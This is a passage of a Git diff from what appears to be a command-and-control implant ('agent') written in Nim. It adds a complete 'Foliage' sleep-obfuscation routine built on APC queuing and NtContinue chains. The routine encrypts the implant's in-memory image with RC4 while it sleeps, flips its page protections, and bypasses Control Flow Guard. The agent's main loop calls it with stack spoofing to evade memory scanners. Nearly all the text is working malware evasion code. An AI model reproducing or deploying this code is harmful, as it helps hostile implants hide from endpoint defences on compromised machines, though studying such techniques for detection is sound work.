cast[DWORD64](hEventEnd) + ctx[gadget].Rdx = cast[DWORD64](NULL) + + # Executing timers + for i in 0 .. gadget: + delay += 100 + status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) echo protect("[*] Sleep obfuscation start.") - status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) + status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) @@ -443,21 +461,152 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt sleep(sleepDelay) echo protect("[-] "), err.msg - finally: - if hEventTimer != 0: - CloseHandle(hEventTimer) - hEventTimer = 0 - if hEventWait != 0: - CloseHandle(hEventWait) - hEventWait = 0 - if hEventStart != 0: - CloseHandle(hEventStart) - hEventStart = 0 - if hEventEnd != 0: - CloseHandle(hEventEnd) - hEventEnd = 0 - if hThread != 0: - CloseHandle(hThread) - hThread = 0 - if queue != 0: - discard RtlDeleteTimerQueue(queue) \ No newline at end of file + +#[ + Foliage sleep obfuscation based on Asynchronous Procedure Calls +]# +proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) = + + var + status: NTSTATUS = 0 + ctx: array[7, CONTEXT] + ctxInit: CONTEXT + hEventSync: HANDLE + oldProtection: ULONG + hThread: HANDLE + + try: + # Start synchronization event + status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventSync) + + # Start suspended thread where the APC calls will be queued and executed + status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex()) + echo fmt"[*] [{hThread.repr}] Thread created " + defer: CloseHandle(hThread) + + ctxInit.ContextFlags = CONTEXT_FULL + status = apis.NtGetContextThread(hThread, addr ctxInit) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtGetContextThread " & $status.toHex()) + + # NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them. + # NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread. + cast[ptr PVOID](ctxInit.Rsp)[] = cast[PVOID](apis.NtTestAlert) + + # Preparing the ROP chain + for i in 0 ..< ctx.len(): + copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) + + var gadget = 0 + + # ctx[0] contains a call to NtWaitForSingleObject, which waits for a synchronization signal to be triggered. + ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject) + ctx[gadget].Rcx = cast[DWORD64](hEventSync) + ctx[gadget].Rdx = cast[DWORD64](FALSE) + ctx[gadget].R8 = cast[DWORD64](NULL) + inc gadget + + # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] + ctx[gadget].Rip = cast[DWORD64](VirtualProtect) + ctx[gadget].Rcx = cast[DWORD64](img.Buffer) + ctx[gadget].Rdx = cast[DWORD64](img.Length) + ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE) + ctx[gadget].R9 = cast[DWORD64](addr oldProtection) + inc gadget + + # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. + ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032) + ctx[gadget].Rcx = cast[DWORD64](addr img) + ctx[gadget].Rdx = cast[DWORD64](addr key) + inc gadget + + # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. + ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess()) + ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) + ctx[gadget].R8 = cast[DWORD64](FALSE) + inc gadget + + # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory + ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032) + ctx[gadget].Rcx = cast[DWORD64](addr img) + ctx[gadget].Rdx = cast[DWORD64](addr key) + inc gadget + + # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] + ctx[gadget].Rip = cast[DWORD64](VirtualProtect) + ctx[gadget].Rcx = cast[DWORD64](img.Buffer) + ctx[gadget].Rdx = cast[DWORD64](img.Length) + ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) + ctx[gadget].R9 = cast[DWORD64](addr oldProtection) + inc gadget + + # ctx[6] contains the final call, which exits the created thread after all APC calls have been executed. + ctx[gadget].Rip = cast[DWORD64](ExitThread) + ctx[gadget].Rcx = cast[DWORD64](0) + + # Queueing the chain + for i in 0 .. gadget: + status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtQueueApcThread " & $status.toHex()) + + # Start sleep obfuscation + status = apis.NtAlertResumeThread(hThread, NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex()) + + echo protect("[*] Sleep obfuscation start.") + + status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + + echo protect("[*] Sleep obfuscation end.") + + except CatchableError as err: + sleep(sleepDelay) + echo protect("[-] "), err.msg + +# Sleep obfuscation implemented in various techniques +proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoofStack: var bool = true) = + + if sleepDelay == 0: + return + + # Initialize required API functions + let apis = initApis() + + echo fmt"[*] Sleepmask settings: Technique: {$mode}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" + + var img: USTRING = USTRING(Length: 0) + var key: USTRING = USTRING(Length: 0) + + # Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG + discard evadeCFG(apis.NtContinue) + + # Locate image base and size + var imageBase = GetModuleHandleA(NULL) + var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage + img.Buffer = cast[PVOID](imageBase) + img.Length = imageSize + + # Generate random encryption key + var keyBuffer: string = Bytes.toString(generateBytes(Key16)) + key.Buffer = keyBuffer.addr + key.Length = cast[DWORD](keyBuffer.len()) + + # Execute sleep obfuscation technique + case mode: + of EKKO: + sleepEkko(apis, key, img, sleepDelay, spoofStack) + of ZILEAN: + sleepZilean(apis, key, img, sleepDelay, spoofStack) + of FOLIAGE: + sleepFoliage(apis, key, img, sleepDelay) + diff --git a/src/agent/main.nim b/src/agent/main.nim index 8150262..81d831c 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -36,8 +36,8 @@ proc main() = while true: # Sleep obfuscation with stack spoofing to evade memory scanners - var spoofStack = true - sleepObfuscate(ctx.sleep * 1000, FOLIAGE, spoofStack) + var spoof = true + sleepObfuscate(ctx.sleep * 1000, spoofStack = spoof) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo "\n", fmt"[*] [{date}] Checking in."